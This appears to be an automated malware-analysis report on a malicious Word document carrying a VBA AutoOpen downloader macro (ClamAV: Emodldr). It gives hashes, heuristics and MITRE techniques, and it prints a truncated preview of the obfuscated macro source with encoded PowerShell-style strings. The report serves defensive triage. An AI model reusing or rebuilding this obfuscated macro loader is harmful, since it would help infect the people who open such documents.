Office (OLE) malware analysis — malicious · e641ea9872558a04

MALICIOUS

Office (OLE)

173.0 KB Created: 2018-03-26 18:40:00 Authoring application: Microsoft Office Word First seen: 2019-05-16

MD5: 793d250ee9b9cb50a20a11695215261c SHA-1: 54d887158b9de3dc7b39a0eabf561cfac3732888 SHA-256: e641ea9872558a047f26408e797bd07a4e02ef6b13bbf2e577de8b8c47350436

224 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that uses CreateObject to execute code. ClamAV identifies it as 'Doc.Malware.Emodldr-10025032-0'. The VBA script appears to be obfuscated but its structure and the presence of CreateObject strongly suggest it's designed to download and execute a second-stage payload, likely via a URL that was truncated in the provided evidence.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	38688 bytes
SHA-256: `b51ddfe6c61b23abd582fe8875077e2bfa04acd44ce2ce306425aa8fc3724217`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 20 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "cwoslaS" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "ChAIKQLlvQNsk" Function YwtEDFaaLGQnHQ() On Error Resume Next For Each jjRqRh In KJNhE zJaXS = 21809 - VNMBP For Each joSzij In rwwwjD Pmmhns = IZSfq Next Next FlZCRNiJcA = qTwCB("mjAnMAMQA1ADkANgA1ADkANAA3AGIAMQBjADcAOABjADMA' \| cONVERtTo-sEcUreStRiNG -k (176qaS", 5, 76) For Each JOVTP In SzSrKi VdALb = 76421 - Wlibi For Each WpbOA In nZZdc iIkqzv = znWfHO Next Next For Each KvjNb In ZikTL OjRDn = 60450 - AoTpW For Each VZibt In lmauoK hPioQj = wUDdA Next Next lPTPW = qTwCB("sYbcUANABmADAANQA1ADIANQBkAGMANABhAGYAZgBkAGIAMABhADMANgAzADcAMABjADAAMwA0ADAAYwA4ADgAYQAzAGIAYgBmADQAOABhADEANAA4AGMAOAA3ADcAMAAyADwc@l", 5, 128) For Each MJZhr In MoGou qfain = 79075 - tFzoWA For Each GAcBV In brbcM Dizsba = kaEvSj Next Next For Each EqrHi In LJjBF HCAJIj = 57700 - JJUAsu For Each lfdkv In AWKFtC uBErB = JJzwu Next Next sWzfniXHM = qTwCB("I7AwADAANwA3AGUANwAxAGQAMQA2AGQAMwBmADgAYgBiADQAYwBhADcAOQBiAGYAYQA0AGYAMABmADkANgBkADYANgBjADUANQAwAGYAMg9paw", 3, 104) For Each izwuW In PoTaiC KAHfp = 6698 - hYzIF For Each zXkuni In jNwBbo dOlUW = arTCd Next Next For Each SGQBIa In JTIOpl YkNQjZ = 10563 - DpzpEa For Each WiBFB In zorrw vTiUw = QiVAzM Next Next BUGzzDq = qTwCB("@wAyAGMAZAA5AGIANQA0ADQAYQBlADAAMABiADYANgBhADYAMQA3ADMAMwBjADYAMwA0ADIAMAA4AGIAMAA1ADAAMwBjADUANgAyAGYAMAA5ADAANAA0ADkAYwBiADkAZABjADcANgBjAGMANAAzFL6uMwD", 2, 147) For Each pTDbDT In VmziM jmYvVY = 69376 - JjVUw For Each orBVi In WLmwNn aDIWD = PzdJZ Next Next For Each pQYdP In djifA vdtBAV = 745 - LEUdO For Each HYcjd In PvlCN OAPpc = vYoSRX Next Next zAmwBVtjfA = qTwCB("TbwAwAGYANgA5AGUAYwBjADgANQA2ADYANwBhADczRv2c", 4, 37) For Each iMNpkw In OEHFEv jVAsr = 77395 - HzwVcc For Each qWoGEr In ICFAFS JtKkjq = CoZZj Next Next For Each jdASw In DohtGO pNDfF = 26032 - cXtFXM For Each Ekhoz In DZwiui hLVYZ = XmREVu Next Next JhouJNK = qTwCB("BEAZgBjAGQANwAzAGIAMgBiAGUAZgAwAGIANAA0ADYAMwAwADMAOQA5ADAAYgBjAGIAOAA2ADAAMQBhADQAYQBjADYANAAzADUAYgAxADkANQA3AGYAZgA1ADUANQA2AGUAZABlADQAZAA0AGIAMwBicjrqW6C", 2, 150) For Each SuIku In lOzDzE bzQQV = 69836 - zwQBU For Each hpbnjM In zUJRMn wBiHW = SOXWA Next Next For Each KpGIz In jrZzsE jirta = 50730 - qMiiYs For Each izIVV In zWhpuD cQtiW = jvzfil Next Next QGbMLlo = qTwCB("uZQAwADYAMwAyAGIAZgA0ADQANAA5ADEAZQA5AGIAMwAyAGEAOAAxAGQAYgA0AGQAOAA3AGUAOAA0ADcAYQBmADIANABhADkAOAAzAGYAMQBmADEANQBiADMAMgBlADcAYwA3ADEANwBkADEAMwA4AGMANAA5ADYAOABmAGMAMgBkAGIAYgA2AGYANwA5ADTt7Uk,,o", 2, 190) For Each iRwGY In EGzrRb LLNBC = 97680 - EIaSD For Each cIYkT In kHPhYa LzPiY = DzkYiw Next Next For Each UILBGn In DpzRzv fCCDVE = 79949 - otSjqU For Each IwUJMW In fmiOX VvHiF = kzjshc Next Next rJkzw = qTwCB("iqvoL0AGMAOQAyADIAMQBiAGEANgA1AGYAYgA4ADUANQA5AGYANAA3AGIANQAzAGIANwBmADQAZQBjADIAZABhADcAZgA5ADkAYQBkAGUAMgAxADgAMQA0ADUAYwBlAGIAMQBhADMAYgA3ADkAZAA5ADEANABmADAANgA5ADQAMgA3ADgAYLqC4", 6, 174) For Each dUSjXz In RhBwp HUWPVG = 64652 - Vtljdw For Each mYDnhS In qMDKRO otLtWk = cUXav Next Next For Each fOfKu In cVCDX Arhqw = 38414 - JYIoWr For Each hkuYdG In srXnz PzIYX = HmuYiJ Next Next dwLvlp = qTwCB("jYANAA1ADkAYwAzADkAZAA3AGIAZgBhADQAZgBjADMAOQA1ADEANQAxADYANwA4ADkAMgAyADYAYQBkAGMAOAAyAUPiiVSUU", 2, 87) For Each UMpWaJ In Qpsbi ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.